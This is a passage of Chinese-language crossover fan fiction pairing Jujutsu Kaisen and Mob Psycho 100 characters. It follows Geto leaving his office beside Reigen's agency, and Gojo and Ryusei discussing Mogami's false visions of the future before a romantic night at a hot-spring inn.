急迫的情绪从指尖传递,那是强烈的自证感。 “当然不是了,我的感情你现在应该明白了。” 五条悟微微一愣,这是琉世的情绪?哇,真的毫不心虚呢。这种好用的技能,岂不是连解释的环节都省略了? “杀死宿傩,其实是为了我吧。” 白川琉世没有说话,但五条悟从相连的心中,感受到了确定的意思。 “被宿傩腰斩,是我会遇到的事。” “…啊?悟,你说…什麽?” 迟疑的声音响起,铺天盖地的痛苦、绝望、不可置信,浓郁到近乎拥有实质,由指尖传递,席卷了五条悟的全身。 第54章 夏油事务所 灵幻相谈所 2018年1月3日,调味市,商业区。 某商业楼3楼,相对而立开了两家业务范围一样的事务所,其中一家事务所今天大敞着门,两名少女正费力地收拾东西。 “美美子,不要装那堆书了,夏油大人说要扔掉。” “可是……” “没什麽可是啦!很重的。” 穿着休闲装的男人从内室走出来,手撑着皮筋,另一只手往头发上一抓,快速扎成丸子头,只剩一缕头发落在额前。 “既然美美子想带着,那就带着吧。” 美美子脸上泛起开心的红晕,“谢谢夏油大人。” 浅色头发的菜菜子听见了,有些赌气地叉腰,“嘛……真是的,我们要加快速度了,搬家公司下午就来了。” “没关系,还有两个小时。”夏油杰打开手机浏览消息,一边安慰女孩。 夏油事务所在开了近十年后,因香织的重新出现和盘星教教内变动,不得不关闭,夏油也将带着两个女孩回到东京。 也差不多是时候做个了结了,他嘲讽一笑。这十年的时光算什麽呢?已经足够了吧。 “啊,肚子好饿。”菜菜子眺望楼梯口方向,“对面的怎麽还没回来。” 因为忙着搬家,正好对面灵幻相谈所的人出去吃饭,菜菜子就拜托对方帮忙买饭。 夏油杰想起对面那群活爹,眼皮一跳,虽然挺舍不得这里,但走了也好。 “枷场小姐!” 楼梯上噔噔噔传来脚步声,和紧张的喊声,首先登场的是芹泽克也。他提着三个盒饭,看到菜菜子就深深地鞠了个九十度的躬,“抱歉,我迟到了。”看到盒饭里的汤汁因为动作洒在地面上,忽然大喊一声“对不起”,继续鞠躬,于是汤汁更加汹涌地滴在地上。 “啊啊啊啊啊啊!”菜菜子发出尖叫。 嗯,就是这麽一个实力强到让夏油都不敢掉以轻心,明明也快三十岁了,却呆头呆脑、心智单纯,毫无社会经验,能被十几岁的菜菜子骂到心理崩溃躲在厕所哭的男人。 “芹泽,手、手,提起来!”慌忙飘过来的是一团绿色的能量体,形状奇怪,脸上有两坨诡异的红晕,意外的比身为人类的芹泽更精通与人的相处之道。 上级恶灵小酒窝,夏油看着眼前飘过去的东西,这家夥比一般的特级咒灵还要强,更重要的是拥有智慧。 怎麽有的恶灵就能和人类和平共处,咒灵就不行?恶灵就是比咒灵高等吗?而且,灵能力者的身份是可以公开的,这点也和咒术师不同。 除了咒灵、咒术师、普通人,这个世界上还有其他存在。 夏油杰自然地垂下视线,在相谈所打零工的影山茂夫也走了过来,少年平静地看了眼闹剧,手指一抬,汤汁就固定在了空气中。 这位更是重量级,尽管是个外表普普通通,性格温和纯真的国中生,情绪激动的时候,随便就能爆发出毁灭一座城市的力量。 这个少年莫名让夏油杰想起某个最强,大概影山茂夫也算灵能界中正在成长的“最强”吧。 “芹泽,不要只是道歉,快帮忙把地板擦干净啊!”最后匆忙跑上来的是相谈所的主人,和夏油差不多年纪的灵幻新隆。 非常标准的普通人,这是夏油对灵幻的第一印象。四年前,灵幻刚刚开相谈所时还是一个人,现在身边莫名其妙多了很多奇怪的东西,尤为突出的,是正附身在青年身上,冒着恐怖灵压的邪灵。 “收拾遗物?终于要下决心毁灭世界了?”灵幻的嘴巴没张开,身体内却传来了一道男声。 “最上,不要说这麽失礼的话。哈哈,夏油先生,他最近心情不太好,别在意。”灵幻无奈指责,但也习惯了,最上启示一看到夏油先生就要嘲讽,无论他说了多少次都不改。 他凑近夏油,似乎要说悄悄话,全然忘了就算压低声音,也瞒不过附在他身上的最上,“因为掏不起钱买假发,那个化疗头发掉光的小女孩很失望,最上的功德又没法涨了,正不高兴呢。” “喂,灵幻。”最上不满地嘀咕,“那个小女孩跟我没有因果,帮她没用,是你想帮她拿不出钱吧?” “明明就是你,纠结这个有什麽用,反正就是没钱啊。” 夏油无奈地笑了,真是莫名其妙,最上启示一开始附身在灵幻身上时,他还抱着看好戏的心态观察过几天,没想到一看就不像好东西的恶灵,竟然押着灵幻到处做善事。 怪到没边的组合,煞气深重的恶灵竟然每天日行一善,谎话连篇的普通人也阴差阳错地常做好事。 别人的事他管不着,但最上很喜欢盯着他,在他根据喜好挑选任务,惩罚讨厌的猴子时,就离开灵幻的身体,偷偷找过来搞破坏。 嘁。 灵幻示意影山茂夫把提着的塑料袋给他,“夏油先生,请你们吃章鱼小丸子,做了那麽久的邻居,本来应该请你们大吃一顿的,但你们走的比较着急……,哈哈哈,不介意请收下吧。” 夏油道谢,微笑着接过塑料袋。呵,灵幻心里肯定觉得他们走这麽急真是太好了,不用破费请客,还少了一个强力竞争对手,嘴上一套背后一套,施予一点小恩小惠就一定要包装的特别漂亮,这样的人真是到处都是。 说起来,这个地方,真正庸俗无聊、毫无能力的普通人,只有灵幻新隆一个人啊,令人不愉快的猴……! 一双幽深的眼睛浮现在他面前,最上启示那双令人不快的脸凝聚在空中,眼中充满了嘲讽。 “灵幻,有的人不用对他这麽好,估计心里在骂你呢。” “为什麽对夏油先生这麽没礼貌,吃不到章鱼小丸子也不能这麽闹脾气。”灵幻越过夏油杰,走进夏油事务所的大门,“芹泽,茂夫,帮忙收拾东西吧。” 两个员工很听话地接手了女孩的工作,让枷场姐妹有空吃饭。时间真的挺紧了,夏油杰放出来了几个咒灵,指挥他们搬运东西。 所与人,枷场姐妹、小酒窝、影山茂夫、芹泽克也、最上启示,都见怪不怪地看着咒灵搬东西,只有灵幻新隆在收拾东西的间隙抬头时,咒灵会快速抱着东西消失在灵幻的视线中。 “收拾的很快,果然是人多力量大。”灵幻新隆擦了擦汗,大笑起来。不过,如果他转头的话,会看到两堆杂物莫名奇妙自己漂浮在空中。 在场所有人只有灵幻看不到咒灵。 芹泽只是老实地收拾东西,虽然觉得大家怪怪的,但小酒窝一直告诫他,在这里看到咒灵就当做没看到,不要当着灵幻的面大惊小怪。 最上看了眼巧妙操纵咒灵躲避灵幻视线的夏油,又发出一阵嘲讽的笑。 太好笑了这个人。 灵幻看不到咒灵,这种遍布人类世界的东西比邪灵常见多了,灵幻没有祓除咒灵的能力,在他面前暴露咒灵的存在,除了收获一个每天大惊小怪提心吊胆的相谈所老板,没有什麽好处。 所以大家很有默契的在他面前,假装世界上没有咒灵,就连年纪很小的茂夫也是。直到夏油杰有次在所有人面前操纵咒灵拿东西,那只可怜的咒灵同时被茂夫、小酒窝、最上捏成空气。 慢一拍的芹泽:? 最上本以为夏油杰会起逆反心理,毕竟这麽一个把普通人当猴子的诅咒师,让他为了照顾普通人的感觉克制自己的行为,应当算得上是奇耻大辱。 但令最上也意想不到的是,夏油杰和两个女孩慢慢也加入了“瞒着灵幻这个世界上有咒灵”的行动中。结果现在,灵幻还把那个诅咒师当成是和他一样的江湖骗子。 所以说这个人太好笑了。 就这还做反派呢? 最上飘出灵幻的身体,一圈黑红相间的雾气飘到茂夫那里,男孩正忙里偷闲,往嘴里塞章鱼小丸子。 “茂夫,我也要吃。” 哦对,看着男孩,最上后知后觉地想起,夏油的暂避风头,也可能是因为他们这方的武力值太高了。 当初可是看中茂夫的潜力,他才暂时留在了相谈所,但是茂夫不喜欢被附身,最上后来阴差阳错常驻在灵幻身上了。 “喏,给你。”茂夫让章鱼小丸子隔空飘过去。 最上张开黑红相间的抽象的嘴,一口把丸子的香气吞进去。 灵幻:“你又不能真的吃进去,不要浪费食物!” …… 两个小时后,搬家公司准时到达,夏油杰要带走的东西其实不多,事务所的大件家具都留在了那里。 灵幻新隆帮忙搬家时,接到了咨询电话,顺势在楼下找了个地方接了,商谈了一会,用三寸不烂之舌完美接下了一个委托。 “委托金很丰厚,这下房租有着落了。” 他高兴地眉飞色舞,一旁的最上像个破塑料袋飘飘荡荡,看起来兴致不高。 “喂,最上,你今天是怎麽了?”灵幻收起手机,倚在最上旁的栏杆上,“是因为夏油先生的事吧。” “他倒还不至于……啧,也差不多吧。灵幻,你了解这个人吗?” “啊,我的印象嘛。”灵幻新隆眼睛向右上看,认真思考,“表面和善,其实很冷酷,好像挺看不起我的。不过,是那种活的很认真的人,有时候出乎意料的让人觉得温柔。” 最上猩红的眼睛震惊地睁大。 “你这不是看得挺清楚的?干嘛对他点头哈腰的。” “邻居嘛,闹得太僵不好。”灵幻新隆尴尬地笑了两声,“再说,最上,人都是有多面的啊。” 黄发的青年颇为乐观地说,“比如说你,以前也不是什麽好东西吧。” 最上:…… 搬家公司的人很快就装完了车,即将开车前往东京。枷场姐妹已经上车了,夏油杰站在打开的车门前,和灵幻做最后的道别。 “到了东京也随时联系,有什麽需要帮忙的记得给我打电话。” 夏油杰百无聊赖地听着,微笑着应对。 依旧是灵幻新隆的客套话。 “给你打电话干嘛?帮他毁灭世界吗?”最上在一旁冷嘲热讽,“你去了也没用吧。” “你是中二期吗?连茂夫也没整天把毁灭世界放在嘴上。”灵幻大无语。 “他说的没错,我要去毁灭世界了。”夏油杰依旧把完美的微笑焊死在脸上,因为笑得太假,反而给人微妙的危险感。 “啊,哈哈哈,”灵幻假装被逗笑,冷汗流了下来,“夏油先生真是幽默。” 夏油杰把手扶在车门上,打算进去。到了这种地步,这个……就该找个借口赶紧走开了。 然而灵幻却把钱包拿出来,做出翻找的动作。 夏油有一瞬间的迟疑,就这麽站在了原地,与此同时,那团黑色的烟气飘了过来,靠近夏油杰。 邪灵距离夏油杰的脸不到十厘米,露出不详的微笑,压低声音, “夏油,你在思考吗?你感到痛苦吗?” 夏油悚然一惊,警惕地后仰。 还好那团黑烟马上散开了,夏油盯着烟气消散后的空中出神。最上一直神神叨叨的,他生前的数据并不难查,虽然强大,但也没有什麽特别的。不过,有时候在他面前,总有股被看透的感觉。 不爽的感觉。 与此同时,灵幻新隆也终于翻到了他想找的东西。 “我是说真的,夏油先生,你最近遇到什麽麻烦了吧,心情看起来很不好。”灵幻递过去一个纸片,“我认识一个很厉害的人,实在不行,你联系他好了,就说是我灵幻新隆介绍过去的。” 夏油杰只觉得好笑,接过纸片,只想着一会直接扔了,灵幻介绍的人想必也是什麽骗子。 “谢谢你挂心,灵幻先生。” 灵幻终于没有什麽挂碍,挥挥手,带着最上一起离开了。夏油坐回车里,两个女孩坐在后座上,依旧恋恋不舍地看着事务所的窗户,菜菜子和美美子看来很留恋这里。 带她俩回去是正确的选择吗? 夏油接连不断的烦恼,仍然一件叠加着一件,永无止境。那张纸条在他手中搓来搓去,沾上轻微的手汗。 “夏油大人,你拿的什麽?” 夏油杰随手柄纸条递给菜菜子。 活泼的菜菜子展开纸条,把上面的内容念出来。 “Gojo Sato……” 第55章 刚满十八岁 2018年1月3日,冲绳,海鲜餐厅。 …… 悟是怎麽知道的? 大脑一瞬间停摆,但身体诚实地反映出情绪。白川琉世想把手抽走,却被五条悟扣下了。 五条悟修长的手指摩擦着恋人的手背。 到底是哪里除了纰漏?白川琉世被忽然出现的不可控感攥住了心神。宿傩受肉失败,能确定悟没有遇到这样的事,而且未来的记忆只有他拥有,就连菅原觉的死因,古籍上也没有“腰斩”的记载。 难道是……? 惊疑的情绪想必已经传达给了五条悟,白川琉世听到他说,“你还记得最上启示吗?” “最上?那个能捏造虚假记忆的邪灵?” “误会他了也说不定?” “难道他给你展现的记忆是……” 和白川琉世不同,五条悟全然一副轻松的样子,不像平时故意插科打诨的搞笑,那双眼睛只是平静地眨了两下,露出无所谓的浅笑。 “哈,琉世,如果不是我恰好知道,你是不是永远不打算告诉我。” 为别人做了那麽多,结果只是一声不吭全瞒了下来,现在哪有这种感情上的傻子,付出如果不在后面爆出来让对方知道,那种剧情如果拍成电视剧都会被骂死。 “琉世,背后默默付出嘴上什麽也不说的类型,是要作为悲情男二被pass掉的,现在比较流行强取豪夺的霸道总裁,少女漫画我也是很懂的。” 白川琉世无话可说。 是悟在诈他吗?但这件事的指向性太明显了,对方已经亲口说出了那句话。 “怎麽这种表情。”五条悟把手指塞进对方蜷缩的 手心,坏心眼地轻轻挠了一下,“危险不是被你消除了吗?” 好一会,白川琉世才感到自己的身体重新运作,他手蜷缩的太紧了,近乎握成拳头,松开力道后,随着对方手指的动作展开手掌。 那是让他放松的意思。 …… 剩下的事不适合在餐厅谈,两人走出去,白川琉世打算送五条悟回高专,但恋人却说,眼罩和好用的唇膏落在温泉旅馆了,要去拿。 “那款唇膏我已经丢了好几支了,反正你赶路很方便,对吧琉世,咻地一下就到了。” 这种琐碎的、鲜活的小要求,让白川琉世的僵痛一下子缓过来大半。 “当然,抓稳了。” 一眨眼,两人又回到了原来的院子,温泉淡淡的硫磺气味取代了海风的咸腥,咒灵祓除后,这里也没有什麽盛开的樱花树了,只有几株随处可见的枯树。 “忧太已经回去了。”五条悟很容易在房间里找到了眼罩和唇膏,他打开手机,极快地为房间续了一天时间。 扣款成功,Yes。 白川琉世跟了进来,这是五条悟入住的房间,昨天傍晚提着蛋糕到达附近,他把全身咒力封印住,就这麽瞒过六眼,在附近观察了好久。直到那个贗品咒灵敢变成他的样子,看样子不得不出现了,才匆忙现身。 “戴上眼罩吧,一直这样会累的。” “Yada,今天不想戴。” “这麽爱撒娇,就不要怪别人没有年下的样子啊。” 白川琉世拿过眼罩,还是给恋人戴上了,这麽一来,悟的头发确实竖了起来。 “你在笑我吧?笑了吧?”五条悟这麽问着,语气像责怪,但尾音还是带上了笑意。 “不知道家入治不治视力减退,你真的看得到我笑了吗?” “我感觉到了。” 白川琉世这次真的露出了笑容,悟好胡搅蛮缠啊。 “不用家入治,我现在也学会反转术了,可以给你治疗一下。” “我这可是六眼,很珍贵的。” 屋子里很暖和,五条悟脱下白川琉世的外套,又脱下高专的外套,露出里面的白色衬衫。 那是很修身的款式,把宽肩细腰、挺拔的背部曲线显现的淋漓尽致,白川琉世的目光扫过,人体研究大师本能地得出了结论。 悟也变成熟了。 十年的岁月不是白长的,他记得悟18岁的时候,离190还差点,现在已经超过了,骨骼的形态变得更加成熟,肌肉也长了些,至少现在的背阔肌和以前相比把衬衫撑的更好看。 脸没变太多,但下颔线比以前清晰,头发全撩起来的时候看着更成熟些,不至于让人误会他年纪依然在二十岁上下徘徊。 手……那双手也是,手掌的宽度和骨节比少年时观察到的要宽一点,但瓷白的指间仍有若有似无的、漂亮的绯红色。 空气中隐约有股淡淡的花香,是悟身上的气味吗?恋人正把黑色外套和高专外套挂起来,胳膊抬起,衬衫下摆一并上抬,露出一截白皙劲瘦的腰。 白川琉世的视线自然追随过去,什麽嘛,这个动作也是精心设计过的吗? “琉世的脸皮越来越厚了。” “都是你纵容的,五条悟要负全责。” “你现在肯定头昏脑涨的不知道自己姓什麽了吧?” “这麽洋洋得意,对自己真自信啊。”白川琉世随意地顶嘴回去,下一刻马上坦白从宽,“确实,能不能先收敛一下,我还有事想了解,这样脑子根本什麽也装不进去。” [收收你的神通吧,别硬控我了。] [yes,琉世果然不堪一击。] “有事想了解的不光是你,你那张根本没长几岁的脸是怎麽回事。”五条悟半真半假地,不满地哼了一声,“不问就绝对不坦白,然后阴暗地害五条老师因为骚扰未成年人被抓去坐牢。” “按照实际生活的天数来算,我已经满18岁了。” “刚满18岁?” “瞧不起谁呢,我可是91年出生的。” “91年出生的应该26或者27岁了,琉世。” “年纪小的帅气男友不应该是荣耀吗?对我有什麽不满的啊,悟。” 五条悟嗤嗤笑出声,站着说话太无聊,他扑到被褥上伸了个懒腰。这种老式的温泉旅馆,都是睡榻榻米的,地上只铺了一套寝具,于是白川琉世只能躺在旁边的地板上,侧过身看着恋人。 “我早就想问你了,不硌吗?” “不啊。”白川琉世一顿,“什麽叫早就想问了?” 五条悟只是把视线平移开,当然是因为那张高专宿舍的床超硬的,不过今天不能告诉琉世,对方一定会得意过头。 “当然是因为你总是像个野人一样了。”含糊地糊弄过去,他也转身侧躺着,与琉世对视,手臂搭在身侧,指尖一下一下点着对方的手背。 “不用这麽安慰我也没关系,你体贴的有点反常了,悟。” 明明悟才是受到垃圾记忆伤害最严重的人,那些残忍事的主角可是他自己啊,还要反过来安慰担心他的人。白川琉世,这样做男朋友太逊了。 “你喜欢我的指尖吧?”五条悟抬手,竖起手掌,在白川琉世面前敲打琴键似的晃动。 被白川琉世一把抓住。 “是啊,现在我不会只是看着了。” 不会只是看着,那会做什麽呢?五条悟心情愉悦地等待着,结果恋人只是说了一句。 “最上是怎麽回事?” 五条悟:? 好好好,现在非得说正事是吧。 他打开白川琉世的手,把揉成一团的被子推开,坐起身。既然这麽不解风情,那他也不会让琉世保留自己的小秘密。 “最上当时给我看了一堆东西,信誓旦旦说是我的未来。”他把枕头拍到白川琉世身上,向前一扑,横着身子死死压在对方身上,比起亲密,更像是玩闹的动作。 “比如说……被宿傩腰斩。” 五条悟感到身下的躯体紧绷。 “总监部挖掉了我的六眼。” “啊?这件事没有吧?”白川琉世大为惊讶,一个弹跳,差点把五条悟掀下去。 “嗯?不装了?” …… 白川琉世终于挣扎着坐了起来,把长手长脚的五条悟抱到一边。 “你知道了啊,悟。” “有我这样聪明又敏锐的男朋友,感到难以把控了吗?” 白川琉世失笑,“你在说什麽啊,本来也没想着全瞒着你。” “明明一无所知地穿越到过去,这几天才刚刚回来,却对羂索的计谋这麽清楚,难道是他在千年前亲口告诉你的吗?就算真是这样,连千年前的羂索也不能准确知道自己未来的计划吧?” “啊,悟说的都对,穿越的时候,我确实能看到未来发生的事。”白川琉世双手合十,指间抵住鼻尖,微微低头,眼睛向上盯着五条悟,眨了两下眼,努力做出一副无辜的样子,“请原谅我吧,实在不知道该怎麽说。” 没办法把那些残忍的事告诉悟啊。 “琉世,这种表情现在已经不适合你了。”五条悟冷酷地指出。 “哈?” 白川琉世,大受打击。 “最上给你看的那些是怎麽回事,据我所知,六眼什麽的……没有发生过。” “那个邪灵有部分是胡编乱造的,有的是真的,毕竟当时要折磨我。”五条悟说起这十年自己的猜测,“被宿傩腰斩,被总监部挖掉六眼,被学生奚落,被家族出卖,杰作为诅咒师叛逃,你主动离开了所有人的视线,娜娜米放弃做咒术师去做社畜,伊地知作为我的辅助监督被秘密处决。锵锵~,无奖竞猜,哪些是真的?哪些是假的呢?” “悟,一点也不要信,把那些垃圾从你脑子里扔掉。” 苍蓝眼睛的恋人轻佻地笑着,目光落入黄泉之瞳,“最上展示的东西,我本来是一点都不信的,但是根据古籍记载,你失踪后,作为黄泉津御命,真是拼了命的要杀死宿傩啊。诶?难道真是为了菅原觉吗?” 白川琉世:“那怎麽可能,你自己也不信对吧?” 五条悟:“是啊,因为不信,所以只好相信最上的版本,也就是自己也被宿傩杀死了,你才那麽生气。再说,宿傩对我来说,只是一个不知道哪里来的传说里的人,和我完全没关系。” 白川琉世:“这才是重点,最上就算虚构记忆,为什麽能准确地找到宿傩,不可能真的只是他胡编乱造。” 五条悟:“杰后来成为诅咒师,娜娜米成为社畜,这种巧合让我更加怀疑这件事,于是我到处找那个邪灵的踪迹。” 白川琉世:“找到了吗?我能找到他,我和他之间,还存在类似誓约的东西。” 第56章 金盏花味的吻 “当然了,我一直都很幸运,每年新年抽签都是大吉呢。” 五条悟像柔软的猫科动物一样,重新滚落在床铺上,双腿的腿弯搭在了白川琉世大腿上。 恋人的身体柔韧、温暖,只是紧紧相贴就令人心跳加速。 “你说总监部挖出了你的六眼,这是怎麽回事。”不管是不是真的,这种事太过耸人听闻,白川琉世不得不在意。 “那是他胡编乱造的,那个大叔阴暗又恶毒。”五条悟伸直双腿,“锵锵,无奖竞猜,琉世扣一分。” “那麽……,最上只是知道一部分?” “因为琉世的原因,他这些年也改邪归正了,我和他聊过几次。”五条悟得意地说,“轮到我用乱七八糟的消息塞满你的脑子了。” “嗯,然后呢?” 白川琉世盯着五条悟的脸,对方带着眼罩,视线就自然而然地落在了下半张脸上。悟有张很适合露出笑容的脸,嘴角勾起的弧度常常不大,却很轻易就能表达出浓烈的感情。 他也不禁为对方自信张扬的笑容感到愉快。 “最上向我坦白过,当年他在靠近我时,感受到了一些东西,画面、声音、散乱的记忆,其中最明显的,就是我被宿傩杀死的场景,和高专的我听到杰叛逃后的表情。 根据那些东西,和我已经存在的记忆,他添油加醋了不少。比如娜娜米之前抱怨过,干脆去做社畜好了,之前也有得罪总监部的辅助监督被秘密处决的事,他根据我的人际关系,胡乱捏成一团,全展示给我了。 不过这里有个很明显的漏洞,琉世,你有没有发现?” 白川琉世:“嗯?是什麽?” 怪不得之前出差时,刻意交代他探查宿傩的手指,原来悟那时候就有所警觉了。不过,这种严肃的口气,悟现在说话还真的有点像老师诶。 五条悟:“真实世界里,杰叛逃的消息,是和你失踪的消息一起传到我耳中的,但最上却说,他看到的只有我得知杰叛逃消息的场景。” “所以说,琉世,最上知道的未来里没有你。” “那也正常,我自己看到的未来里,也没有我自己。”白川琉世早就知道这回事了,“我就是那个变量,悟,所以我才能改变一切。” 白川琉世只是普通地说着,说的内容有点狂妄。五条悟却觉得理所当然,琉世只是实话实说而已。 包括他自己,大家在听到他说“因为我是最强”的时候,总是一副受不了的表情。 那也不过是实话实说。 五条悟:“最上看到的东西非常少,也就我说的那些了,不过他后来偶然碰到了杰,又看了一些杰的未来。” 白川琉世:“这样啊,世界真小。我猜以他的社交圈,除了看到你和夏油的未来,其他人的应该基本都看不到吧?” 五条悟把双腿猛地下压:“你果然知道什麽?” “好重,悟。”虽然这麽说着,白川琉世却因为亲昵的动作扬起了嘴角。 在五条悟那种“再藏着掖着就赏你一发苍”的眼神中,白川琉世坦白从宽。 “因为你们是这个世界的关键人物。而且,他看到的应该没有我多。” 五条悟愣了一下,思忖片刻,“你能看到什麽程度,琉世?” 白川琉世:“也不是事无巨细,只能看到大的事件。之前没想告诉你,不过你都知道这麽多了,就解释一下吧。 两人挨的很近,他低声向恋人说道。 “黄泉津比良坂是我灵魂的本体,那里独立于多个世界外,我们在的世界只是其中一个,那些世界有多个重叠在一起的情况,每个世界都有关乎生死存亡的主线。世界的意识会推着主线往前走,直到达到既定的目标。只要世界意识能在主线的推进中汲取养料,世界就能维持稳定。” 很多世界的主线,并不是物理层面的毁灭世界或拯救世界,一些主线的重要角色们只是普通人,主线也只是很平常的事。像他和悟所在的世界,已经算是高危的了。 五条悟:“我和杰是这个世界的主要角色?哈,勉强认同这个世界意识的眼光了。” 在说什麽啊悟,它对你可没什麽善意。 白川琉世:“那些世界意识挺好玩的,离得比较近的,会在意识层面互相影响,把意识中的主线故事渗透进对方世界的一小部分人身上,其中会有人用文艺作品把感知到的东西表达出来,那些人是意识的‘承载者’。悟,其实隔壁就是火影和死神的真实世界。” 五条悟躺在被褥上放松身体,清冽的眼眸因为最后那句冷笑话似的话语流露笑意。世界意识这种东西,刚开始听白川琉世说是挺惊讶的,但随着男友缓慢分析的话语,变得也没那麽吸引人了。 琉世变成熟了啊。 声音比以前低沉了,肌肉也终于追上了个子,只有骨节分明的手还有点以前嶙峋的影子。 “听这种事还能走神吗,悟?” 就是以前亮晶晶的小狗眼和时时揣测他意图,显得过于风吹草动的紧张感没有了。 “嗯?你怎麽看起来有点失望。”白川琉世俯身凑近,伸出手指停在半空,迟疑着,莫名其妙点了五条悟的脸颊一下。 “没有,琉世看错了。”刚才的话收回,琉世依然有第二个问题。 但是胆子更大了。 “你的无下限失灵了,悟。” “被你戳坏掉了。” “是吗?那我就不客气了。” 一只嶙峋但有力的手,覆上他的右脸,四指伸进发丝,轻轻摩擦了两下,产生让人颅内发麻的颤栗和舒适感,同时,拇指也贴着下唇刮蹭了两下。 因为无下限,从而几乎没有与人有过身体接触的五条悟,因为覆上脸颊的微烫体温和肌肤相交的触感,微微颤抖了一下。 短暂的爱抚后,白川琉世收回手,拇指食指轻轻搓了一下,有点黏润的感觉。 他把手伸到鼻尖,深深地、深深地吸了口气。 淡淡的花香,具体是什麽花不知道,这股一直萦绕在悟身上,若有似无的香气,此时被他光明正大地汲取。 “你的唇膏是什麽味道的?” “金盏花味哦。” “喜欢的那支吗?” “喜欢的那支,怎麽,琉世要送我几支吗?” “当然可以,我不太记得味道了,再让我闻闻吧。” “真是黏人的不行啊。”五条悟淡色的嘴唇轻轻抿了一下,笑声带着沙哑、愉悦的后音,起身靠近白川琉世。 他摘下了短暂戴上去的眼罩,刚刚都说了不想戴,一会还得摘下来,这时候,肯定是想看到琉世的脸啊。 离得太近了。白川琉世有一瞬间的恍惚,悟笑着的时候,嗓音故意挤出黏糊的音色,身体微微的颤动,像整个环绕住他一样明显。 扑通—— 心脏短暂的停跳。 悟平时行为大胆,吻人却相当纯情,那是浅浅的一碰,白川琉世睁大眼睛,忘了怎麽呼吸,只是那麽短暂的接触——柔软的触感,呼出的温热气息,鼻尖蹭到脸颊上的痒意,清甜的唇膏气味,全都拥了过来。 柔软、甜美,他对这个吻的全部印象,美好到不可思议。 黑发的青年僵立当场,双手捂在脸上,嘭地一声仰面摔在地板上。 五条悟覆过去,凑近白川琉世,伸手柄他捂着脸的手拉开。“你纯情过头了吧,碰下嘴唇就这样了?” 黑发青年眼神错开了一下,又马上对视过去。这种时候,冲昏了头的幸福感比难为情的感觉更强烈。 白川琉世从不逃避。 “吻人的方式那麽纯情,你也没比我好到哪里去吧。” “诶?”集世间万物所钟爱的苍天之瞳,闪烁着动人的情绪,五条悟在白川琉世期待的目光中,轻轻开口,“琉世,继续说最上和世界意识的事吧。” 白川琉世:“啊?” 什麽?干什麽啊?悟这是在干嘛?这时候谁还想提最上启示这种阴暗邪灵的名字啊?最上是谁啊?不认识!什麽世界意识,他倒是快失去意识了。悟这是干什麽啊?这麽坏心眼。 “我们存个档,明天再说。”白川琉世宕机立断,“明天之前我都不会记得这件事,悟应该也没那麽旺盛的好奇心吧。” “噗,哈哈哈哈哈哈。”五条悟毫无形象地笑着。 大仇得报,加一分。 “真是的,你那是什麽表现,难道我就是不解风情的木头吗?”白川琉世伸展手臂,把人紧紧拥住。 男人的身体远远算不上柔软,悟的肌肉练的也很好,触手一片硬邦邦的,但白川琉世的心依然软成一片。恋人的白色发丝在脖颈处乱蹭,痒痒的,就算被抱着也不安静,小动作不断,让他恍然觉得自己好像抱住了一只大型猫咪。 “嘘。” 五条悟低低嘘了一声,“现在再说话,才是不解风情哦。” …… 1月4日,淩晨1:23分,温泉旅馆盥洗室。 白川琉世站在洗手台前,掬起一捧水,把脸埋进去。 无他,降温。 体温不能再增加了,现在这情况,如果握住日轮刀,刀刃自己也会变红吧? 刚刚洗过了澡,也没什麽用,反复洗脸后,白川琉世深深呼出一口气,拿毛巾擦干净脸上的水渍。 洗手台的镜子映出他的身影,黑发青年腰间围着浴巾,长发湿漉漉的,搭在裸露的肩膀上,水渍从发梢滑落,一路顺着流畅的肌肉线条蜿蜒而下,没入浴巾边缘。 白川琉世伸手摸了下肩部,有道抓痕从后面延伸过来,没有渗血,但殷红的颜色格外醒目。 嘴角难以自禁地扬起弧度,镜子里的脸显得有些得意忘形。 果然有些难以招架悟,不过不如说悟更难以招架他。刚刚累的什麽也做不了,还是他把人抱去洗澡的。 白川琉世找出吹风机,走近卧室,听到悟打电话的声音,声音非常嘶哑,一听就能感觉到是受伤了的程度。 啊?这可不妙啊,他是不是太过分了。 “……哈哈,没有啦,不打扰,本来就没睡觉呢。” 那种过于礼貌的寒暄的态度,令白川琉世心生疑惑。 悟很少用这种超级良好的口气说话。 “去洗澡了……,啊,过来了。” 嗯?找他的?白川琉世打开卧室门,看到五条悟裹着浴巾,趴在被子上,头发滴着水,沾湿了枕头,正拿着一个眼熟的手机打电话。!!! 那是他的手机! 这部手机装的是新电话卡,目前只拨出过一个电话。 白川琉世大为震惊。 “……和琉世是什麽关系?”五条悟正好向门口看去,捂住手机,一字一句地朝着白川琉世,略带挑衅地做着口型,“要说我们是什麽关系吗?” 白川琉世无奈地笑,“直说就好了。” “你自己说吧。”白发的恋人心情似乎很好,把手机递给白川琉世,趴在枕头上疲惫地看着他。 白川琉世也先捂住手机,小声说,“先别睡,悟,一会给你吹头发。” 也不知道悟听进去没有,白川琉世把手机放在耳边,“妈妈,我是琉世。” 第57章 那就由我来动手 手机那边的女声苍老了一点,但依旧开朗,“琉世,你这麽多年跑到哪里去了!” 遭了,这个想不到该怎麽说啊,白川绊子大半生都普普通通地活着,一时肯定很难理解自己的儿子被开除人籍。 还好没过几秒,绊子就转移了话题。 “不想说没关系,你人没事就好。你现在在哪呢?这个可以说吗?” “北海道。很快就能回去看你了,到时候可别吓一跳啊。” 绊子爽朗地笑起来,“你是说自己交了男朋友吓我一跳吗?真是的,妈妈怎麽一直不知道你喜欢男人呢?” “没来得及告诉你,绝对不是不想说,刚刚确定关系呢。” 电话那头的白川绊子笑了好一会,白川琉世听着亲人的声音,不知不觉也一起笑起来。 他知道妈妈不会在乎这种事,儿子都天煞孤星开局了,能找到伴侣,不管什麽性别都足够让她高兴。 “你那个体质没关系吗?对方有危险怎麽办?” “这个不用担心,他很强。” 而且,吸引咒灵的体质现在对他已经不算什麽了,简单把自己的存在隔绝一下,对咒灵来说他和建筑物也没区别。 不远处传来轻轻的窸窣,“是最强。” “对,是最强。”白川琉世忘记捂住手机,下意识回应,语气相当温柔。 他听到妈妈偷笑的声音了。 …… 1月4日,早晨,7:00。 白川琉世早就醒了,只是没想到五条悟定了手机闹钟,眼疾手快地在屏幕亮起来的时候把闹钟划掉。 但还是吵醒了恋人。 五条悟睁开眼睛,少见地觉得异常疲惫,但生物钟还是让他准时醒来了。 “琉世,你还是人类吗?” 迷迷糊糊地抱怨着,五条悟和枕头相贴的侧颊之间,塞进了一只手掌。白川琉世用手掌托着他的脸颊,靠近听他的呓语。 “身体是人类,悟应该很了解啊。” “我的手机呢?” “再多睡一会吧,你很累。” “我今天……” 话还没说完,五条悟又陷入了一小段浅度睡眠。 